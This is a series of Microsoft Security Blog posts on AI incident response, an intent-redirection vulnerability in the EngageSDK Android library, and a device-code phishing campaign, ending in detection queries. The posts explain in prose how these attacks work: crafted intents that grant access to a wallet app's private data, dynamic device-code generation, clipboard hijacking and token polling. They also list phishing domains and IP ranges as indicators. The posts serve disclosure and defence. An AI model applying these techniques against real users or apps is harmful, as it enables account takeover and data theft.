Existing blogs with similar behavior tracked:

• https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering
• https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis
• https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthie/117842/
• https://x.com/malwrhunterteam/status/2008831892616081508
• https://x.com/patrickwardle/status/2009008936771543341?s=46

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Dissecting Sapphire Sleet’s macOS intrusion from lure to compromise appeared first on Microsoft Security Blog.

When a traditional security incident hits, responders replay what happened. They trace a known code path, find the defect, and patch it. The same input produces the same bad output, and a fix proves it will not happen again. That mental model has carried incident response for decades.

AI breaks it. A model may produce harmful output today, but the same prompt tomorrow may produce something different. The root cause is not a line of code; it is a probability distribution shaped by training data, context windows, and user inputs that no one predicted. Meanwhile, the system is generating content at machine speed. A gap in a safety classifier does not leak one record. It produces thousands of harmful outputs before a human reviewer sees the first one.

Fortunately, most of the fundamentals that make incident response (IR) effective still hold true. The instincts that seasoned responders have developed over time still apply: prioritizing containment, communicating transparently, and learning from each.

AI introduces new categories of harm, accelerates response timelines, and calls for skills and telemetry that many teams are still developing. This post explores which practices remain effective and which require fresh preparation.

The fundamentals still hold

The core insight of crisis management applies to AI without modification: the technical failure is the mechanism, but trust is the actual system under threat. When an AI system produces harmful output, leaks training data, or behaves in ways users did not expect, the damage extends beyond the technical artifact. Trust has technical, legal, ethical, and social dimensions. Your response must address all of them, which is why incident response for AI is inherently cross-functional.

Several established principles transfer directly.

Explicit ownership at every level. Someone must be in command. The incident commander synthesizes input from domain experts; they do not need to be the deepest technical expert in the room. What matters is that ownership is clear and decision-making authority is understood.

Containment before investigation. Stop ongoing harm first. Investigation runs in parallel, not after containment is complete. For AI systems, this might mean disabling a feature, applying a content filter, or throttling access while you determine scope.

Escalation should be psychologically safe. The cost of escalating unnecessarily is minor. The cost of delayed escalation can be severe. Build a culture where raising a flag early is expected, not penalized.

Communication tone matters as much as content. Stakeholders tolerate problems. They cannot tolerate uncertainty about whether anyone is in control. Demonstrate active problem-solving. Be explicit about what you know, what you suspect, and what you are doing about each.

These principles are tested, and they are effective in guiding action. The challenge with AI is not that these principles no longer apply; it is that AI introduces conditions where applying them requires new information, new tools, and new judgment.

Where AI changes the equation

Non-determinism and speed are the headline shifts, but they are not the only ones.

New harm types complicate classification and triage. Traditional IR taxonomies center on confidentiality, integrity, and availability. AI incidents can involve harms that do not fit those categories cleanly: generating dangerous instructions, producing content that targets specific groups, or enabling misuse through natural language interfaces. By making advanced capabilities easy to use, these interfaces enable untrained users to perform complex actions, increasing the risk of misuse or unintended harm. This is why we need an expanded taxonomy. If your incident classification system lacks categories for these harms, your triage process will default to “other” and lose signal.

Severity resists simple quantification. A model producing inaccurate medical information is a different severity than the same model producing inaccurate trivia answers. Good severity frameworks guide judgment; they cannot replace it. For AI incidents, the context around who is affected and how they are affected carries more weight than traditional security metrics alone can capture.

Root cause is often multi-dimensional. In traditional incidents, you find the bug and fix it. In AI incidents, problematic behavior can emerge from the interaction of training data, fine-tuning choices, user context, and retrieval inputs. Investigation may narrow the contributing factors without isolating one defect. Your process must accommodate that ambiguity rather than stalling until certainty arrives.

Before the crisis is the time to work through these implications. The questions that matter: How and when will you know? Who is on point and what is expected of them? What is the response plan? Who needs to be informed, and when? Every one of these questions that you answer before the incident is time you buy during it.

Closing the gaps in telemetry, tooling, and response

If AI changes the nature of incidents, it also changes what you need to detect and respond to them.

Observability is the first gap. Traditional security telemetry monitors network traffic, authentication events, file system changes, and process execution. AI incidents generate different signals: anomalous output patterns, spikes in user reports, shifts in content classifier confidence scores, unexpected model behavior after an update. Many organizations have not yet instrumented AI systems for these signals and, without clear signal, defenders may first learn about incidents from social media or customer complaints. Neither provides the early warning that effective response requires.

AI systems are built with strong privacy defaults – minimal logging, restricted retention, anonymized inputs – and those same defaults narrow the forensic record when you need to establish what a user saw, what data the model touched, or how an attacker manipulated the system. Privacy-by-design and investigative capability require deliberate reconciliation before an incident, because that decision does not get easier once the clock is running.

AI can also help close these gaps. We use AI in our own response operations to enhance our ability to:

• Detect anomalous outputs as they occur
• Enforce content policies at system speed
• Examine model outputs at volumes no human team can match
• Distill incident discussions so responders spend time deciding rather than reading
• Coordinate across response workstreams faster than email chains allow

Staged remediation reflects the reality of AI fixes. Incidents require both swift action and thorough review. A model behavior change or guardrail update may not be immediately verifiable in the way a traditional patch is. We use a three-stage approach:

• Stop the bleed. Tactical mitigations: block known-bad inputs, apply filters, restrict access. The goal is reducing active harm within the first hour.
• Fan out and strengthen. Broader pattern analysis and expanded mitigations over the next 24 hours, covering thousands of related items. Automation is essential here; manual review cannot keep pace.
• Fix at the source. Classifier updates, model adjustments, and systemic changes based on what investigation revealed. This stage takes longer, and that is acceptable. The first two stages bought time.

One practical tip: tactical allow-and-block lists are a necessary triage tool, but they are a losing proposition as a permanent solution. Adversaries adapt. Classifiers and systemic fixes are the durable answer.

Watch periods after remediation matter more for AI than for traditional patches. Because model behavior is non-deterministic, verification relies on sustained testing and monitoring across varied conditions rather than a single test pass. Sustained monitoring after each stage confirms that the remediation holds under varied conditions.

The human dimension

There is a dimension of AI incident response that traditional IR addresses unevenly and that AI makes urgent: the wellbeing of the people doing the work.

Defenders handling AI abuse reports and safety incidents are routinely exposed to harmful content. This is not the same cognitive load as analyzing malware samples or reviewing firewall logs. Exposure to graphic, violent, or exploitative material has measurable psychological effects, and extended incidents compound that exposure over days or weeks.

Human exhaustion threatens correctness, continuity, and judgment in any prolonged incident. AI safety incidents place an additional emotional burden on responders due to exposure to distressing content. Recognizing and addressing this challenge is essential, as it directly impacts the well-being of the team and the quality of the response.

What helps:

• Talk to your team about well-being before the crisis, not during it.
• Manager-sponsored interventions during extended response work, including scheduled breaks, structured handoffs, and deliberate activities that provide cognitive relief.
• Some teams use structured cognitive breaks, including visual-spatial activities, to reduce the impact of prolonged exposure to harmful content.
• Coaching and peer mentoring programs normalize the impact rather than framing it as individual weakness.
• Leveraging proven practices from safety content moderation teams, whose operational workflows for content review and escalation map directly to AI security moderation is a natural collaboration opportunity.

If your incident response plan does not account for the humans executing it, the plan is incomplete.

Looking ahead

Incident response for AI is not a solved problem. The threat surface is evolving as models gain new capabilities, as agentic architectures introduce autonomous action, and as adversaries learn to exploit natural language at scale. The teams that will handle this well are the ones building adaptive capacity now. Extend playbooks. Instrument AI systems for the right signals. Rehearse novel scenarios. Invest in the people who will be on the front line when something breaks. Good response processes limit damage. Great ones make you stronger for the next incident.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post Incident response for AI: Same fire, different fuel appeared first on Microsoft Security Blog.

During routine security research, we identified a severe intent redirection vulnerability in a widely used third-party Android SDK called EngageSDK. This flaw allows apps on the same device to bypass Android security sandbox and gain unauthorized access to private data. With over 30 million installations of third-party crypto wallet applications alone, the exposure of PII, user credentials and financial data were exposed to risk. All of the detected apps using vulnerable versions have been removed from Google Play.

Following our Coordinated Vulnerability Disclosure practices (via Microsoft Security Vulnerability Research), we notified EngageLab and the Android Security Team. We collaborated with all parties to investigate and validate the issue, which was resolved as of November 3, 2025 in version 5.2.1 of the EngageSDK. This case shows how weaknesses in third‑party SDKs can have large‑scale security implications, especially in high‑value sectors like digital asset management. 

As of the time of writing, we are not aware of any evidence indicating that this vulnerability has been exploited in the wild. Nevertheless, we strongly recommend that developers who integrate the affected SDK upgrade to the latest available version. While this is a vulnerability introduced by a third-party SDK, Android’s existing layered security model is capable of providing additional mitigations against exploitation of vulnerabilities through intents. Android has updated these automatic user protections to provide additional mitigation against the specific EngageSDK risks described in this report while developers update to the non-vulnerable version of EngageSDK. Users who previously downloaded a vulnerable app are protected.

In this blog, we provide a technical analysis of a vulnerability that bypasses core Android security mechanisms. We also examine why this issue is significant in the current landscape: apps increasingly rely on third‑party SDKs, creating large and often opaque supply‑chain dependencies.  

As mobile wallets and other high‑value apps become more common, even small flaws in upstream libraries can impact millions of devices. These risks increase when integrations expose exported components or rely on trust assumptions that aren’t validated across app boundaries. 

Because Android apps frequently depend on external libraries, insecure integrations can introduce attack surfaces into otherwise secure applications. We provide resources for three key audiences: 

• Developers: In addition to the best practices Android provides its developers, we provide practical guidance on identifying and preventing similar flaws, including how to review dependencies and validate exported components.  
• Researchers: Insights into how we discovered the issue and the methodology we used to confirm its impact.  
• General readers: An explanation of the implications of this vulnerability and why ecosystem‑wide vigilance is essential. 

This analysis reflects Microsoft’s visibility into cross‑platform security threats. We are committed to safeguarding users, even in environments and applications that Microsoft does not directly build or operate.  You can find a detailed set of recommendations, detection guidance and indicators at the end of this post to help you assess exposure and strengthen protections.

Technical details

The Android operating system integrates a variety of security mechanisms, such as memory isolation, filesystem discretionary and mandatory access controls (DAC/MAC), biometric authentication, and network traffic encryption. Each of these components functions according to its own security framework, which may not always align with the others_[1].  

Unlike many other operating systems where applications run with the user’s privileges, Android assigns each app with a unique user ID and executes it within its own sandboxed environment. Each app has a private directory for storing data that is not meant to be shared. By default, other apps cannot access this private space unless the owning app explicitly exposes data through components known as content providers.  

To facilitate communication between applications, Android uses intents_[2]. Beyond inter-app messaging, intents also enable interaction among components within the same application as well as data sharing between those components. 

It’s worth noting that while any application can send an intent to another app or component, whether that intent is actually delivered—and more broadly, whether the communication is permitted—depends on the identity and permissions of the sending application.  

Intent redirection vulnerability 

Intent Redirection occurs when a threat actor manipulates the contents of an intent that a vulnerable app sends using its own identity and permissions.  

In this scenario, the threat actor leverages the trusted context of the affected app to run a malicious payload with the app’s privileges. This can lead to: 

• Unauthorized access to protected components  
• Exposure of sensitive data 
• Privilege escalation within the Android environment

Android Security Team classifies this vulnerability as severe. Apps flagged as vulnerable are subject to enforcement actions, including potential removal from the platform_[3].

EngageLab SDK intent redirection

Developers use the EngageLab SDK to manage messaging and push notifications in mobile apps. It functions as a library that developers integrate into Android apps as a dependency. Once included, the SDK provides APIs for handling communication tasks, making it a core component for apps that require real-time engagement.

The vulnerability was identified in an exported activity (MTCommonActivity) that gets added to an application’s Android manifest once the library is imported into a project, after the build process. This activity only appears in the merged manifest, which is generated post-build (see figure below), and therefore is sometimes missed by developers. Consequently, it often escapes detection during development but remains exploitable in the final APK.

When an activity is declared as exported in the Android manifest, it becomes accessible to other applications installed on the same device. This configuration permits any other application to explicitly send an intent to this activity.   

The following section outlines the intent handling process from the moment the activity receives an intent to when it dispatches one under the affected application’s identity. 

Intent processing in the vulnerable activity 

When an activity receives an intent, its response depends on its current lifecycle state: 

• If the activity is starting for the first time, the onCreate() method runs.  
• If the activity is already active, the onNewIntent() method runs instead.  

In the vulnerable MTCommonActivity, both callbacks invoke the processIntent() method. 

This method (see figure below) begins by initializing the uri variable on line 10 using the data provided in the incoming intent. If the uri variable is not empty, then – according to line 16 – it invokes the processPlatformMessage():  

The processPlatformMessage() method instantiates a JSON object using the uri string supplied as an argument to this method (see line 32 below):  

Each branch of the if statement checks the JSON object for a field named n_intent_uri. If this field exists, the method performs the following actions: 

• Creates a NotificationMessage object  
• Initializes its intentUri field by using the appropriate setter (see line 52).  

An examination of the intentUri field in the NotificationMessage class identified the following method as a relevant point of reference:

On line 353, the method above obtains the intentUri value and attempts to create a new intent from it by calling the method a() on line 360. The returned intent is subsequently dispatched using the startActivity() method on line 365. The a() method is particularly noteworthy, as it serves as the primary mechanism responsible for intent redirection:

This method appears to construct an implicit intent by invoking setComponent(), which clears the target component of the parseUri intent by assigning a null value (line 379). Under normal circumstances, such behavior would result in a standard implicit intent, which poses minimal risk because it does not specify a concrete component and therefore relies on the system’s resolution logic.  

However, as observed on line 377, the method also instantiates a second intent variable — its purpose not immediately evident—which incorporates an explicit intent. Crucially, this explicitly targeted intent is the one returned at line 383, rather than the benign parseUri intent.  

Another notable point is that the parseUri() method (at line 376)   is called with the URI_ALLOW_UNSAFE flag (constant value 4), which can permit access to an application’s content providers [6] (see exploitation example below). 

These substitutions fundamentally alter the method’s behavior: instead of returning a non‑directed, system‑resolved implicit intent, it returns an intent with a predefined component, enabling direct invocation of the targeted activity as well as access to the application’s content providers. As noted previously, this vulnerability can, among other consequences, permit access to the application’s private directory by gaining entry through any available content providers, even those that are not exported.

Exploitation starts when a malicious app creates an intent object with a crafted URI in the extra field. The vulnerable app then processes this URI, creating and sending an intent using its own identity and permissions. 

Due to the URI_ALLOW_UNSAFE flag, the intent URI may include the following flags; 

• FLAG_GRANT_PERSISTABLE_URI_PERMISSION 
• FLAG_GRANT_READ_URI_PERMISSION  
• FLAG_GRANT_WRITE_URI_PERMISSION 

When combined, these flags grant persistent read and write access to the app’s private data.  

After the vulnerable app processes the intent and applies these flags, the malicious app is authorized to interact with the target app’s content provider. This authorization remains active until the target app explicitly revokes it [5]. As a result, the internal directories of the vulnerable app are exposed, which allows unauthorized access to sensitive data in its private storage space.  The following image illustrates an example of an exploitation intent:

Affected applications  

A significant number of apps using this SDK are part of the cryptocurrency and digital‑wallet ecosystem. Because of this, the consequences of this vulnerability are especially serious. Before notifying the vendor, Microsoft confirmed the flaw in multiple apps on the Google Play Store.

The affected wallet applications alone accounted for more than 30 million installations, and when including additional non‑wallet apps built on the same SDK, the total exposure climbed to over 50 million installations.  

Disclosure timeline

Microsoft initially identified the vulnerability in version 4.5.4 of the EngageLab SDK. Following Coordinated Vulnerability Disclosure (CVD) practices through Microsoft Security Vulnerability Research (MSVR), the issue was reported to EngageLab in April 2025. Additionally, Microsoft notified the Android Security Team because the affected apps were distributed through the Google Play Store.  

EngageLab addressed the vulnerability in version 5.2.1, released on November 3, 2025. In the fixed version, the vulnerable activity is set to non-exported, which prevents it from being invoked by other apps. 

Mitigation and protection guidance

Android developers utilizing the EngageLab SDK are strongly advised to upgrade to the latest version promptly. 

Our research indicates that integrating external libraries can inadvertently introduce features or components that may compromise application security. Specifically, adding an exported component to the merged Android manifest could be unintentionally overlooked, resulting in potential attack surfaces. To keep your apps secure, always review the merged Android manifest, especially when you incorporate third‑party SDKs. This helps you identify any components or permissions that might affect your app’s security or behavior.

Keep your users and applications secure

Strengthening mobile‑app defenses doesn’t end with understanding this vulnerability.

Take the next step: 

• Strengthen your defenses with Microsoft Defender XDR 
• Accelerate investigations with Microsoft Security Copilot 

Learn more about Microsoft’s Security Vulnerability Research (MSVR) program at http://approjects.co.za/?big=en-us/msrc/msvr

References

[1] Mayrhofer, René, Jeffrey Vander Stoep, Chad Brubaker, Dianne Hackborn, Bram Bonné, Güliz Seray Tuncay, Roger Piqueras Jover, and Michael A. Specter. The Android Platform Security Model (2023). ACM Transactions on Privacy and Security, vol. 24, no. 3, 2021, pp. 1–35. arXiv:1904.05572. https://doi.org/10.48550/arXiv.1904.05572.  

[2] https://developer.android.com/guide/components/intents-filters  

[3] https://support.google.com/faqs/answer/9267555?hl=en  

[4] https://www.engagelab.com/docs/  

[5] https://developer.android.com/reference/android/content/Intent#FLAG_GRANT_PERSISTABLE_URI_PERMISSION 

[6] https://developer.android.com/reference/android/content/Intent#URI_ALLOW_UNSAFE

This research is provided by Microsoft Defender Security Research with contributions from Dimitrios Valsamaras and other members of Microsoft Threat Intelligence.

Learn more

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  

The post Intent redirection vulnerability in third-party SDK exposed millions of Android wallets to potential risk appeared first on Microsoft Security Blog.

Microsoft Defender Security Research has observed a widespread phishing campaign leveraging the device code authentication flow to compromise organizational accounts at scale. While traditional device code attacks are typically narrow in scope, this campaign demonstrated a higher success rate, driven by automation and dynamic code generation that circumvented the standard 15-minute expiration window for device codes. This activity aligns with the emergence of EvilTokens, a phishing-as-a-service (PhaaS) toolkit identified as a key driver of large-scale device code abuse.

This campaign is distinct because it moves away from static, manual scripts toward an AI-driven infrastructure and multiple automations end-to-end. This activity marks a significant escalation in threat actor sophistication since the Storm-2372 device code phishing campaign observed in February 2025.

• Advanced backend automation: Threat actors used automation platforms like Railway.com to spin up thousands of unique, short-lived polling nodes. This approach allowed them to deploy complex backend logic (Node.js), which bypassed traditional signature-based or pattern-based detection. This infrastructure was leveraged in the attack end-to-end from generating dynamic device codes to post compromise activities.
• Hyper-personalized lures: Generative AI was used to create targeted phishing emails aligned to the victim’s role, including themes such as RFPs, invoices, and manufacturing workflows, increasing the likelihood of user interaction.
• Dynamic code generation: To bypass the 15-minute expiration window for device codes, threat actors triggered code generation at the moment the user interacted with the phishing link, ensuring the authentication flow remained valid.
• Reconnaissance and persistence: Although many accounts were compromised, follow-on activity focused on a subset of high-value targets. Threat actors used automated enrichment techniques, including analysis of public profiles and corporate directories, to identify individuals in financial or executive roles. This enabled rapid reconnaissance, mapping of permissions, and creation of malicious inbox rules for persistence and data exfiltration.

Once authentication tokens were obtained, threat actors focused on post-compromise activity designed to maintain access and extract data. Stolen tokens were used for email exfiltration and persistence, often through the creation of malicious inbox rules that redirected or concealed communications. In parallel, threat actors conducted Microsoft Graph reconnaissance to map organizational structure and permissions, enabling continued access and potential lateral movement while tokens remained valid.

Attack chain overview

Device code authentication is a legitimate OAuth flow designed for devices with limited interfaces, such as smart TVs or printers, that cannot support a standard interactive login. In this model, a user is presented with a short code on the device they are trying to sign in from and is instructed to enter that code into a browser on a separate device to complete authentication.

While this flow is useful for these scenarios, it introduces a security tradeoff. Because authentication is completed on a separate device, the session initiating the request is not strongly bound to the user’s original context. Threat actors have abused this characteristic as a way to bypass more traditional MFA protections by decoupling authentication from the originating session.

Device code phishing occurs when threat actors insert themselves into this process. Instead of a legitimate device requesting access, the threat actor initiates the flow and provides the user with a code through a phishing lure. When the user enters the code, they unknowingly authorize the threat actor’s session, granting access to the account without exposing credentials.

Phase 1: Reconnaissance and target validation

 The threat actor begins by verifying account validity using the GetCredentialType endpoint. By querying this specific Microsoft URL, the threat actor confirms whether a targeted email address exists and is active within the tenant. This reconnaissance phase is a critical precursor, typically occurring 10 to 15 days before the actual phishing attempt is launched.

The campaign uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. The attack begins when a user interacts with a malicious attachment or a direct URL embedded within a high-pressure lure (e.g., “Action Required: Password Expiration”).

To evade automated URL scanners and sandboxes, the threat actors do not link directly to the final phishing site. Instead, they use a series of redirects through compromised legitimate domains and high-reputation “Serverless” platforms. We observed heavy reliance on Vercel (*.vercel.app), Cloudflare Workers (*.workers.dev), and AWS Lambda to host the redirect logic. By using these domains, the phishing traffic “blends in” with legitimate enterprise cloud traffic, preventing simple domain-blocklist triggers.

Once the targeted user is redirected to the final landing page, the user is presented with the credential theft interface. This is hosted as browser-in-the-browser (an exploitation technique commonly leveraged by the threat actor that simulates a legitimate browser window within a web page that loads the content threat actor has created) or displayed directly within the web-hosted “preview” of the document with a blurred view, “Verify identity” button that redirects the user to “Microsoft.com/devicelogin” and device code displayed.

Below is an example of the final landing page, where the redirect to DeviceLogin is rendered as browser-in-the-browser.

The campaign utilized diverse themes, including document access, electronic signing, and voicemail notifications. In specific instances, the threat actor prompted users for their email addresses to facilitate the generation of a malicious device code.

Unlike traditional phishing that asks for a password, this “Front-End” is designed to facilitate a handoff. The page is pre-loaded with hidden automation. The moment the “Continue to Microsoft” button is clicked, the authentication begins, preparing the victim for the “Device Code” prompt that follows in the next stage of the attack.

The threat actor used a combination of domain shadowing and brand-impersonating subdomains to bypass reputation filters. Several domains were designed to impersonate technical or administrative services (e.g., graph-microsoft[.]com, portal-azure[.]com, office365-login[.]com). Also, multiple randomized subdomains were observed (e.g., a7b2-c9d4.office-verify[.]net). This is a common tactic to ensure that if one URL is flagged, the entire domain isn’t necessarily blocked immediately. Below is a distribution of Domain hosting infrastructure abused by the threat actor:

Phase 2: Initial access

The threat actor distributes deceptive emails to the intended victims, utilizing a wide array of themes like invoices, RFPs, or shared files. These emails contain varied payloads, including direct URLs, PDF attachments, or HTML files. The goal is to entice the user into interacting with a link that will eventually lead them to a legitimate-looking but threat actor-controlled interface.

Phase 3: Dynamic device code generation

When a user clicks the malicious link, they are directed to a web page running a background automation script. This script interacts with the Microsoft identity provider in real-time to generate a live Device Code. This code is then displayed on the user’s screen along with a button that redirects them to the official microsoft.com/devicelogin portal.

The 15-Minute race: Static vs. dynamic

A pivotal element of this campaign’s success is dynamic device code generation, a technique specifically engineered to bypass the inherent time-based constraints of the OAuth 2.0 device authorization flow. A generated device code remains valid for only 15 minutes. (Ref: OAuth 2.0 device authorization grant). In older, static phishing attempts, the threat actor would include a pre-generated code within the email itself. This created a narrow window for success: the targeted user had to be phished, open the email, navigate through various redirects, and complete a multi-step authentication process all before the 15-minute timer lapsed. If the user opened the email even 20 minutes after it was sent, the attack would automatically fail due to the expired code.

Dynamic Generation effectively solves this for the threat actor. By shifting the code generation to the final stage of the redirect chain, the 15-minute countdown only begins the moment the victim clicks the phishing link and lands on the malicious page. This ensures the authentication code is always active when the user is prompted to enter it.

Generating the device code

The moment the user is redirected to the final landing page, the script on the page initiates a POST request to the threat actor’s backend (/api/device/start/ or /start/). The threat actor’s server acts as a proxy. The request carries a custom HTTP header “X-Antibot-Token” with a 64-character hex value, and an empty body (content-length: 0)

It contacts Microsoft’s official device authorization endpoint on-demand and provides the user’s email address as hint. The server returns a JSON object containing Device Code (with a full 15-minute lifespan) and a hidden Session Identifier Code. Until this is generated, the landing page takes some time to load.

Phase 4: Exploitation and authentication

To minimize user effort and maximize the success rate, the threat actor’s script often automatically copies the generated device code to the user’s clipboard. Once the user reaches the official login page, they paste the code. If the user does not have an active session, they are prompted to provide their password and MFA. If they are already signed in, simply pasting the code and confirming the request instantly authenticates the threat actor’s session on the backend.

Clipboard manipulation

To reduce a few seconds in 15-minute window and to enable user to complete authentication faster, the script immediately executes a clipboard hijack. Using the navigator.clipboard.writeText API, the script pushes the recently generated Device Code onto the victim’s Windows clipboard. Below is a screenshot of a campaign where the codes were copied to the user’s clipboard from the browser.

Phase 5 – Session validation

Immediately following a successful compromise, the threat actor performs a validation check. This automated step ensures that the authentication token is valid and that the necessary level of access to the target environment has been successfully granted.

The polling

After presenting the code to the user and opening the legitimate microsoft.com/devicelogin URL, the script enters a “Polling” state via the checkStatus() function to monitor the 15-minute window in real-time. Every 3 to 5 seconds (setInterval), the script pings the threat actor’s /state endpoint. It sends the secret session identifier code to validate if the user has authenticated yet. While the targeted user is entering the code on the real Microsoft site, the loop returns a “pending” status.

The moment the targeted user completes the MFA-backed login, the next poll returns a success status. The threat actor’s server now possesses a live Access Token for the targeted user’s account, bypassing MFA by design, due to the use of the alternative Device Code flow. The user is also redirected to a placeholder website (Docusign/Google/Microsoft).

Phase 6: Establish persistence and post exploitation

The final stage varies depending on the threat actor’s specific objectives. In some instances, within 10 minutes of the breach, threat actor’s registered new devices to generate a Primary Refresh Token (PRT) for long-term persistence. In other scenarios, they waited several hours before creating malicious inbox rules or exfiltrating sensitive email data to avoid immediate detection.

Post compromise

Following the compromise, attack progression was predominantly observed towards Device Registration and Graph Reconnaissance.

In a selected scenario, the attack progressed to email exfiltration and account persistence through Inbox rules created using Microsoft Office Application. This involved filtering the compromised users and selecting targets:

• Persona Identification: The threat actor reviewed and filtered for high-value personas—specifically those in financial, executive, or administrative roles—within the massive pool of compromised users.
• Accelerated Reconnaissance:  Using Microsoft Graph reconnaissance, the threat actor programmatically mapped internal organizational structures and identify sensitive permissions the moment a token was secured.
• Targeted Financial Exfiltration: The most invasive activity was reserved for users with financial authority. For these specific profiles, the threat actors performed deep-dive reconnaissance into email communications, searching for high-value targets like wire transfer details, pending invoices, and executive correspondence.

Below is an example of an Inbox rule created by the threat actor using Microsoft Office Application.

Mitigation and protection guidance

To harden networks against the Device code phishing activity described above, defenders can implement the following:

• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Educate users about common phishing techniques. Sign-in prompts should clearly identify the application being authenticated to. As of 2021, Microsoft Azure interactions prompt the user to confirm (“Cancel” or “Continue”) that they are signing in to the app they expect, which is an option frequently missing from phishing sign-ins. Be cautious of any “[EXTERNAL]” messages containing suspicious links. Do not sign-in to resources provided by unfamiliar senders. For more tips and guidance – refer to Protect yourself from phishing | Microsoft Support.
• Configure Anti-phising policies. Anti-phishing policies protect against phishing attacks by detecting spoofed senders, impersonation attempts, and other deceptive email techniques.
• Configure Safelinks in Defender for Office 365. Safe Links scanning protects your organization from malicious links that are used in phishing and other attacks. Safe Links can also enable high confidence Device Code phishing alerts from Defender.
• If suspected device code phishing activity is identified, revoke the user’s refresh tokens by calling revokeSign-inSessions. Consider setting a Conditional Access Policy to force re-authentication for users.
• Implement a sign-in risk policy  to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force multi-factor authentication.
  • When a user is a high risk and Conditional access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 

Microsoft recommends the following best practices to further help improve organizational defences against phishing and other credential theft attacks:

• Require multifactor authentication (MFA). Implementation of MFA remains an essential pillar in identity security and is highly effective at stopping a variety of threats.
  • Leverage phishing-resistant authentication methods such as FIDO Tokens, or Microsoft Authenticator with passkey. Avoid telephony-based MFA methods to avoid risks associated with SIM-jacking.
  • Block legacy authentication with Microsoft Entra by using Conditional Access. Legacy authentication protocols do not have the ability to enforce MFA, as legacy MFA (per-user MFA prompts) is susceptible to abuse.
• Centralize your organization’s identity management into a single platform. If your organization is a hybrid environment, integrate your on-premises directories with your cloud directories. If your organization is using a third-party for identity management, ensure this data is being logged in a SIEM or connected to Microsoft Entra to fully monitor for malicious identity access from a centralized location. The added benefits to centralizing all identity data is to facilitate implementation of Single Sign On (SSO) and provide users with a more seamless authentication process, as well as configure Entra ID’s machine learning models to operate on all identity data, thus learning the difference between legitimate access and malicious access quicker and easier. It is recommended to synchronize all user accounts except administrative and high privileged ones when doing this to maintain a boundary between the on-premises environment and the cloud environment, in case of a breach.
• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Entra ID environments to slow and stop the threat actor.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Using Safe Links and Microsoft Entra ID protection raises high confidence Device Code phishing alerts from Defender.

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious indicators mentioned in this blog post with data in their workspace. Additionally, Microsoft Sentinel customers can use the following queries to detect phishing attempts and email exfiltration attempts via Graph API. These queries can help customers remain vigilant and safeguard their organization from phishing attacks:

• Campaign with suspicious keywords
• Determine Successfully Delivered Phishing Emails to Inbox/Junk folder.
• Successful Sign-in from Phishing Link
• Phishing link click observed in Network Traffic
• Suspicious URL clicked Anomaly of MailItemAccess by GraphAPI
• OAuth Apps accessing user mail via GraphAPI
• OAuth Apps reading mail both via GraphAPI and directly
• OAuth Apps reading mail via GraphAPI anomaly 

Microsoft Security Copilot  

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Advanced hunting

Defender XDR customers can run the following queries to identify possible device code phishing related activity in their networks:

Validate errorCode 50199 followed by success in 5-minute time interval for the interested user, which suggests a pause to input the code from the phishing email.

EntraIdSigninEvents
    | where ErrorCode in (0, 50199)
    | summarize ErrorCodes = make_set(ErrorCode) by AccountUpn, CorrelationId, SessionId, bin(Timestamp, 1h)
    | where ErrorCodes has_all (0, 50199)

Validate Device code authentication from suspicious IP Ranges.

EntraIdSigninEvents
    | where Call has “Cmsi:cmsi” 
    | where IPAddress has_any (“160.220.232.”, “160.220.234.”, “89.150.45.”, “185.81.113.”, “8.228.105.”)

Correlate any URL clicks with suspicious sign-ins that follow with user interrupt indicated by the error code 50199.

let suspiciousUserClicks = materialize(UrlClickEvents
    | extend AccountUpn = tolower(AccountUpn)
    | project ClickTime = Timestamp, ActionType, UrlChain, NetworkMessageId, Url, AccountUpn);
//Check for Risky Sign-In in the short time window
let interestedUsersUpn = suspiciousUserClicks
    | where isnotempty(AccountUpn)
    | distinct AccountUpn;
EntraIdSigninEvents
    | where ErrorCode == 0
    | where AccountUpn in~ (interestedUsersUpn)
